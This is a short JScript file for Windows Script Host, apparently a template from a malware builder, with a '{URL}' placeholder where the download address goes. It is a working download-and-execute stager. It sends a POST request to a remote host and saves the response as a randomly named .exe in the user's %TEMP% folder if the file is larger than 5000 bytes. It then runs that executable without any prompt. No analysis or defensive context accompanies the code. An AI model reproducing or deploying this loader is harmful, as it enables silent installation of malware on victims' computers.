js_exe_100.js

var shell = new ActiveXObject("WScript.Shell");
var path = shell.ExpandEnvironmentStrings("%TEMP%") + '\\' + Math.round(1000000 * Math.random()) + ".exe";
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");

xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var stream = new ActiveXObject("ADODB.Stream");
        stream.open();
        stream.type = 1;
        stream.write(xmlhttp.ResponseBody);
        if (stream.size > 5000) {
            stream.position = 0;
            stream.saveToFile(path, 2);
            WScript.Sleep(2000);
            shell.Run(path, 1, 0);
        };
        stream.close();
    };
};

xmlhttp.open('POST', '{URL}', false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send();